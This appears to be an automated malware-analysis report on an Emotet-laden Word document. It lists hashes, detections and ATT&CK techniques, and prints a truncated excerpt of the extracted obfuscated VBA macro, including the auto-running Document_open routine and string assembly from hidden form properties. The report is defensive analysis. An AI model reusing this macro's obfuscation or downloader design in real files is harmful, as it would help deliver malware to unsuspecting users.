Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 98eb56b6b962ecdc…

MALICIOUS

Office (OLE)

185.1 KB Created: 2019-12-17 19:38:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 0ee0b3dc3270e1503fe0c0482eafa835 SHA-1: b5b89e250248ee5398962b5abd2bba0b37fe4573 SHA-256: 98eb56b6b962ecdc741fcd123b2a4e9143a6971666b6bed9c430a44c688c561c
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for Emotet. Heuristics indicate a hidden-property command stager and auto-execution, suggesting the macro is designed to run automatically and likely download a payload. The ClamAV signature also explicitly identifies it as an Emotet downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9795 bytes
SHA-256: 9fdf069a84514532cb73de88f13300b38ddc22d473c799634e49a08d03d01fa1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Fwewgsxvm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Kynohyftfxvl, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Tzrsbarvnq = Cifeyeuzwwfxj To Wuxabmydhcacv
         Tywotkvixk = Nxutitdu
         Plmdeycxcyc = Gbunmala
Next
Select Case Ilgnirisc
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Jopawhmlfds = Nmmmtzaqvhv To Qtkngtqri
         Dcqubfqvmlghc = Jjaogtmr
         Aswzozemrjrj = Pracukmhxdk
Next
Select Case Utcqkabanuw
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Afecopfl = Jhjvwpfqpad To Djylucywfkob
         Admqcmdqon = Pjhzwbmmbsqd
         Trdwvuudem = Abpmvkocmp
Next
Select Case Onopkinie
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Hayfmyxjmac
End Sub

Attribute VB_Name = "Glrvhpczwuacc"
Attribute VB_Base = "0{33AF3F25-E21F-4D17-B251-75A19A007FC2}{34AF674C-C563-4B97-9B44-4999A6319903}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ffbzcler"
Function Eicvzluzzyjz()
   For Fvcmxksajiv = Tgqniaxhur To Grtrrctzzeotf
         Dbylgyfahmrnu = Ldbmrtyjr
         Vkpswhnb = Vgubarmfa
Next
Select Case Nsslstdffrgfe
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Bcsvxjwyfiq = Fwewgsxvm.Kynohyftfxvl
   For Xswbzlpbd = Duzisecqvub To Yonclbuo
         Seglbkamhda = Bpsxqcxlw
         Dkymqcxzkegd = Bgvitdcmimns
Next
Select Case Mvewtniq
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Wbnzouns = Bcsvxjwyfiq + Glrvhpczwuacc.Ymxbppwuym + Glrvhpczwuacc.Xizngomift + Glrvhpczwuacc.Wdusjryrmo
   For Kpfuuykzgxu = Ybrvsunhmoy To Zedjnakgb
         Ugpnheprbv = Djjzdgxbg
         Ygvxjtpixuf = Ezzhyhekvy
Next
Select Case Ebgadffg
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Ruivmiobx = Wbnzouns + Glrvhpczwuacc.Cnffpzgqhyvd + Glrvhpczwuacc.Nijviiiem
   For Reylfpimuxgz = Prdntfpffezr To Qpfjadzfbtyod
         Pwhrzbum = Ifmytmormw
         Wzpvjpkpebfc = Rzyuwcbxsx
Next
Select Case Igjxqnxxz
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM9
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.